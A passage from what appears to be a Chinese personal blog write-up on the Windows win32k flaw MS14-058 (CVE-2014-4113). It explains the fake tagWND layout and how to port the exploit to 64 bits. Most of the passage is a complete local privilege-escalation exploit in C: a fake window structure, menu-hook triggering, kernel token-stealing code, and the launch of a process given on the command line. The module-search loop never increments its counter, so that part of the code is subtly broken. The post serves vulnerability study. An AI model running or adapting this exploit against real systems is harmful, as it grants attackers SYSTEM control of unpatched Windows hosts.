bMinimized : Pos 29, 1 Bit +0x020 bWS_CHILD : Pos 30, 1 Bit +0x020 bWS_POPUP : Pos 31, 1 Bit +0x024 hModule : Ptr32 Void +0x028 hMod16 : Uint2B +0x02a fnid : Uint2B +0x02c spwndNext : Ptr32 tagWND +0x030 spwndPrev : Ptr32 tagWND +0x034 spwndParent : Ptr32 tagWND +0x038 spwndChild : Ptr32 tagWND +0x03c spwndOwner : Ptr32 tagWND +0x040 rcWindow : tagRECT +0x050 rcClient : tagRECT +0x060 lpfnWndProc : Ptr32 long +0x064 pcls : Ptr32 tagCLS +0x068 hrgnUpdate : Ptr32 HRGN__ +0x06c ppropList : Ptr32 tagPROPLIST +0x070 pSBInfo : Ptr32 tagSBINFO +0x074 spmenuSys : Ptr32 tagMENU +0x078 spmenu : Ptr32 tagMENU +0x07c hrgnClip : Ptr32 HRGN__ +0x080 hrgnNewFrame : Ptr32 HRGN__ +0x084 strName : _LARGE_UNICODE_STRING +0x090 cbwndExtra : Int4B +0x094 spwndLastActive : Ptr32 tagWND +0x098 hImc : Ptr32 HIMC__ +0x09c dwUserData : Uint4B +0x0a0 pActCtx : Ptr32 _ACTIVATION_CONTEXT +0x0a4 pTransform : Ptr32 _D3DMATRIX +0x0a8 spwndClipboardListenerNext : Ptr32 tagWND +0x0ac ExStyle2 : Uint4B +0x0ac bClipboardListener : Pos 0, 1 Bit +0x0ac bLayeredInvalidate : Pos 1, 1 Bit +0x0ac bRedirectedForPrint : Pos 2, 1 Bit +0x0ac bLinked : Pos 3, 1 Bit +0x0ac bLayeredForDWM : Pos 4, 1 Bit +0x0ac bLayeredLimbo : Pos 5, 1 Bit +0x0ac bHIGHDPI_UNAWARE_Unused : Pos 6, 1 Bit +0x0ac bVerticallyMaximizedLeft : Pos 7, 1 Bit +0x0ac bVerticallyMaximizedRight : Pos 8, 1 Bit +0x0ac bHasOverlay : Pos 9, 1 Bit +0x0ac bConsoleWindow : Pos 10, 1 Bit +0x0ac bChildNoActivate : Pos 11, 1 Bit
这个结构的开头就是在FFFFFFFB
可以用
dt win32k!tagWND 地址
这样的方式把值附加到结构中比如这里就是
1 2 dt win32k!tagWND ffffffffb dt win32k!_THRDESKHEAD fffffffb
下面是附加后的样子,已经被所有为0的都去除了
1 2 3 4 5 6 7 8 9 10 11 +0x000 head : _THRDESKHEAD +0x000 h : ???? +0x004 cLockObj : ?? +0x008 pti : 0xff52ab50 tagTHREADINFO +0x00c rpdesk : (null) +0x010 pSelf : (null) ...... +0x014 bServerSideWindowProc : 0y1 ...... +0x060 lpfnWndProc : 0x004010f0 long +4010f0 ......
0x8位置的就是Win32ThreadInfo
0x16位置需要为1
0x60位置需要为要执行的地址
因为是从fffffffb开始的所以都要-5,也就是0x3,0x11,0x5B
这里看到的时候还是有点疑问的0x11在exp中赋值的不是4吗怎么到这里变成1了
后来看了一下整明白了有点类似标志位
需要的是在二进制的时候第几位为1
可以看到从0x14到0x18相差4字节
不过exp指定的位置是0x16所以要-2那么0x11-2=0xf
0xf始的四字节是这样的
1 2 00040000 00000000 00000100 00000000 00000000
因为大小端的原因要倒着数,1正好在18位
0x05 Win64 exp 在原来的exp中都是用伪汇编来实现的提权,且只有32位的exp
准备学着写一下64位的exp
下面总结一下区别
提权函数 为了找函数地址专门写了一篇文章
可以在这里先了解一下
那么这里就这几个步骤
PsLookupProcessByProcessId找到当前进程和SYSTEM的EPROCESS结构
PsReferencePrimaryToken找到当前进程和SYSTEM的token值和指针
将SYSTEM的token指针的值覆盖到当前进程的指向token的指针的位置
函数其实是很简单的
1 2 3 4 NTSTATUS PsLookupProcessByProcessId ( [in] HANDLE ProcessId, [out] PEPROCESS *Process ) ;
传入一个指向PID的指针,然后EPROCESS的指针从第二个参数返回回来
1 2 3 PACCESS_TOKEN PsReferencePrimaryToken ( [in, out] PEPROCESS Process ) ;
传入EPROCESS结构,返回指向token的指针
下面是代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __stdcall TokenStealingShellcodeWin7 (int one, int two, int three, int four) { void * CurrentEPROCESS = NULL ; void * SystemEPROCESS = NULL ; PACCESS_TOKEN CurrentToken; PACCESS_TOKEN SystemToken; pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &CurrentEPROCESS); pPsLookupProcessByProcessId((HANDLE)4 , &SystemEPROCESS); CurrentToken = pPsReferencePrimaryToken(CurrentEPROCESS); SystemToken = pPsReferencePrimaryToken(SystemEPROCESS); void * token_loc = (void *)((INT64)CurrentEPROCESS+0x208 ); *(PDWORD_PTR)token_loc = (_int64)SystemToken; return 0 ; }
return -5 在第二个Hook中要返回-5,在64位中-5的二进制是fffffffffffffffb
为了构造畸形的结构,将返回值修改位long,这样内核得到的是00000000fffffffb地址
1 2 3 4 5 6 long CALLBACK HookCallbackTwo (HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { EndMenu(); return -5 ; }
布置tagWND结构 然后在00000000fffffffb上申请内存,就可以在0000000100000000上布置win32threadinfo和bServerSideWindowProc
这里除了偏移不一样别的没什么区别,修改一下偏移就好
1 2 3 4 5 6 void * pti_loc = (void *)0x10000000B ;void * check_loc = (void *)0x100000025 ;void * shellcode_loc = (void *)0x10000008B ;*(PDWORD_PTR)pti_loc = GetPTI(); *(LPBYTE)check_loc = 0x4 ; *(PDWORD_PTR)shellcode_loc = (_int64)TokenStealingShellcodeWin7;
64的Win32threadinfo在TEB的0x78偏移,用汇编来表示
1 2 mov rax, gs:[0x30] mov rax, [rax+0x78]
可以只用读段寄存器的相关函数来实现
1 2 3 4 INT64 GetPTI () { PBYTE pTeb = (PBYTE)__readgsqword(0x30 ); return (INT64)*((PINT64)(pTeb + 0x78 )); }
最后是完整的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 #include <stdio.h> #include <Windows.h> #define PTR_SIZE sizeof(UINT_PTR) #define MN_FINDMENUWINDOWFROMPOINT 0x1EB #define SystemModuleInformation 11 typedef NTSTATUS (NTAPI *kNtAllocateVirtualMemory) ( IN HANDLE ProcessHandle, IN PVOID *BaseAddress, IN PULONG ZeroBits, IN PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ) ;typedef NTSTATUS (NTAPI *kZwQuerySystemInformation) ( _In_ DWORD SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ) ;typedef NTSTATUS (NTAPI *kPsLookupProcessByProcessId) ( IN HANDLE ProcessId, OUT PVOID Process ) ;typedef PACCESS_TOKEN (NTAPI *kPsReferencePrimaryToken) ( _Inout_ PVOID Process ) ;typedef struct _SYSTEM_MODULE { HANDLE Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; USHORT Id; USHORT Rank; USHORT w018; USHORT NameOffset; BYTE Name[256 ]; } SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[0 ]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef struct _FAKE_EPROCESS { PACCESS_TOKEN Token; } FAKE_EPROCESS, *PFAKE_EPROCESS; kPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL ; kPsReferencePrimaryToken pPsReferencePrimaryToken = NULL ; DWORD dwMyProcessId = 0 ; long CALLBACK HookCallbackTwo (HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { EndMenu(); return -5 ; } LRESULT CALLBACK HookCallback (int code, WPARAM wParam, LPARAM lParam) { if (*(DWORD *)(lParam + PTR_SIZE * 2 ) == MN_FINDMENUWINDOWFROMPOINT) { if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3 ), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo); } } return CallNextHookEx(0 , code, wParam, lParam); } LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { if (msg == WM_ENTERIDLE) { PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0 ); PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0 ); PostMessageA(hwnd, WM_LBUTTONDOWN, 0 , 0 ); } return DefWindowProc(hwnd, msg, wParam, lParam); } INT64 GetPTI () { PBYTE pTeb = (PBYTE)__readgsqword(0x30 ); return (INT64)*((PINT64)(pTeb + 0x78 )); } int __stdcall TokenStealingShellcodeWin7 (int one, int two, int three, int four) { void * CurrentEPROCESS = NULL ; void * SystemEPROCESS = NULL ; PACCESS_TOKEN CurrentToken; PACCESS_TOKEN SystemToken; pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &CurrentEPROCESS); pPsLookupProcessByProcessId((HANDLE)4 , &SystemEPROCESS); CurrentToken = pPsReferencePrimaryToken(CurrentEPROCESS); SystemToken = pPsReferencePrimaryToken(SystemEPROCESS); void * token_loc = (void *)((INT64)CurrentEPROCESS+0x208 ); *(PDWORD_PTR)token_loc = (_int64)SystemToken; return 0 ; } void main (char * argc, char * argv[]) { char szNtName[256 ]; PVOID NtBase; HMODULE hNtdll = LoadLibraryA("ntdll" ); if (hNtdll == NULL ) { printf ("Failed to load ntdll" ); return ; } kNtAllocateVirtualMemory pNtAllocateVirtualMemory = (kNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory" ); if (pNtAllocateVirtualMemory == NULL ) { printf ("Failed to resolve NtAllocateVirtualMemory.\n" ); return ; } dwMyProcessId = GetCurrentProcessId(); _int64 base_address = 0x00000000fffffffb ; SIZE_T region_size = 0x1000 ; NTSTATUS tmp = pNtAllocateVirtualMemory( GetCurrentProcess(), (LPVOID*)(&base_address), 0 , ®ion_size, (MEM_RESERVE | MEM_COMMIT| MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE ); if (tmp != (NTSTATUS)0x0 ) { printf ("Failed to allocate null page.\n" ); return ; } kZwQuerySystemInformation pZwQuerySystemInformation = (kZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation" ); if (pZwQuerySystemInformation == NULL ) { printf ("[-] Can not found ZwQuerySystemInformation!" ); return ; } ULONG SystemInfoBufferSize; pZwQuerySystemInformation(SystemModuleInformation, &SystemInfoBufferSize, 0 , &SystemInfoBufferSize); if (SystemInfoBufferSize == 0 ) { printf ("[-] SystemInfoBufferSize is 0!" ); } PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize); printf ("[+] LocalAlloc:0x%p\n" , pSystemInfoBuffer); if (pSystemInfoBuffer == 0 ) { printf ("[-] LocalAlloc is fail!" ); return ; } int ret = pZwQuerySystemInformation(SystemModuleInformation, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize); if (ret) { printf ("[-] ZwQuerySystemInformation is fail!" ); return ; } _SYSTEM_MODULE_INFORMATION* smi = (_SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer; printf ("[+] Kernel Modle found %d\n" , smi->ModulesCount); memset (szNtName, 0 , 256 ); int i = 0 ; while (i < smi->ModulesCount) { SYSTEM_MODULE* sm = (SYSTEM_MODULE *)(smi->Modules + i); if (strstr ((char *)sm->Name, ".exe" ) && strstr ((char *)sm->Name, "nt" )) { NtBase = sm->ImageBaseAddress; strncpy_s(szNtName, 256 , strstr ((char *)sm->Name, "nt" ), _TRUNCATE); break ; } } HMODULE nt = LoadLibraryA(szNtName); kPsLookupProcessByProcessId PLPBP = (kPsLookupProcessByProcessId)GetProcAddress(nt, "PsLookupProcessByProcessId" ); pPsLookupProcessByProcessId = (kPsLookupProcessByProcessId)((_int64)NtBase + ((_int64)PLPBP - (_int64)nt)); printf ("[+] PsLookupProcessByProcessId Address in 0x%p\n" , pPsLookupProcessByProcessId); kPsReferencePrimaryToken PRPT = (kPsReferencePrimaryToken)GetProcAddress(nt, "PsReferencePrimaryToken" ); pPsReferencePrimaryToken = (kPsReferencePrimaryToken)((_int64)NtBase + ((_int64)PRPT - (_int64)nt)); printf ("[+] PsReferencePrimaryToken Address in 0x%p\n" , pPsReferencePrimaryToken); void * pti_loc = (void *)0x10000000B ; void * check_loc = (void *)0x100000025 ; void * shellcode_loc = (void *)0x10000008B ; *(PDWORD_PTR)pti_loc = GetPTI(); *(LPBYTE)check_loc = 0x4 ; *(PDWORD_PTR)shellcode_loc = (_int64)TokenStealingShellcodeWin7; WNDCLASSA wnd_class = { 0 }; wnd_class.lpfnWndProc = WndProc; wnd_class.hInstance = GetModuleHandle(NULL ); wnd_class.lpszClassName = "abcde" ; ATOM reg = RegisterClassA(&wnd_class); if (reg == NULL ) { printf ("Failed to register window class.\n" ); return ; } HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "" , WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0 , 0 , 0 , 0 , NULL , NULL , wnd_class.hInstance, NULL ); if (main_wnd == NULL ) { printf ("Failed to create window instance.\n" ); return ; } HMENU MenuOne = CreatePopupMenu(); if (MenuOne == NULL ) { printf ("Failed to create popup menu one.\n" ); return ; } MENUITEMINFOA MenuOneInfo = { 0 }; MenuOneInfo.cbSize = sizeof (MENUITEMINFOA); MenuOneInfo.fMask = MIIM_STRING; BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0 , TRUE, &MenuOneInfo); if (!insertMenuItem) { printf ("Failed to insert popup menu one.\n" ); DestroyMenu(MenuOne); return ; } HMENU MenuTwo = CreatePopupMenu(); if (MenuTwo == NULL ) { printf ("Failed to create menu two.\n" ); DestroyMenu(MenuOne); return ; } MENUITEMINFOA MenuTwoInfo = { 0 }; MenuTwoInfo.cbSize = sizeof (MENUITEMINFOA); MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU); MenuTwoInfo.hSubMenu = MenuOne; MenuTwoInfo.dwTypeData = "" ; MenuTwoInfo.cch = 1 ; insertMenuItem = InsertMenuItemA(MenuTwo, 0 , TRUE, &MenuTwoInfo); if (!insertMenuItem) { printf ("Failed to insert second pop-up menu.\n" ); DestroyMenu(MenuOne); DestroyMenu(MenuTwo); return ; } HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL , GetCurrentThreadId()); if (setWindowsHook == NULL ) { printf ("Failed to insert call back one.\n" ); DestroyMenu(MenuOne); DestroyMenu(MenuTwo); return ; } TrackPopupMenu( MenuTwo, 0 , 0 , 0 , 0 , main_wnd, NULL ); DestroyWindow(main_wnd); STARTUPINFOA si; PROCESS_INFORMATION pi; if (argv[1 ]) { si = { 0 }; pi = { 0 }; si.cb = sizeof (si); si.dwFlags = 1 ; si.wShowWindow = 0 ; CreateProcessA(NULL , argv[1 ], NULL , NULL , FALSE, 0 , NULL , NULL , &si, &pi); WaitForSingleObject(pi.hProcess, 0x10000 ); } }
这里为了方便用了直接创建了进程
总结 不知道说啥了有点呆滞了
这篇文章真的写了很久,因为有时候太复杂了真的想中间停掉可是一想到这是写的第一个内核提权的漏洞还是再写写吧
我也知道写的还不是很详细,不是重点用到的函数就没写,确实技术力到这里了,以后再慢慢补了只能
基础有点架空很多知识都是用到了再补的,中间还切出去学了点别的,虽然呆滞了可是真的学到了不少,因为基础有点少也导致走了不少弯路,准备之后再系统的看看驱动,打一下靶场啥的
不说了写的时候说写完奖励自己一个千恋万花,去下单了要,打游戏去了下班了
不过最后要说一下要是师傅们发现文章中有错误的可以指出来,马上就改正,先谢谢各位师傅了
参考 几个用到的api:https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-psreferenceprimarytoken https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
Windows消息基址和内存地址相关文章:https://blog.csdn.net/wang010366/article/details/52730052 https://blog.csdn.net/qq_45021180/article/details/97949267
MS14-058分析文章:https://bbs.pediy.com/thread-198194.htm https://labs.f-secure.com/assets/BlogFiles/mwri-lab-exploiting-cve-2014-4113.pdf
KeUserModeCallback执行流程:https://cloud.tencent.com/developer/article/1600862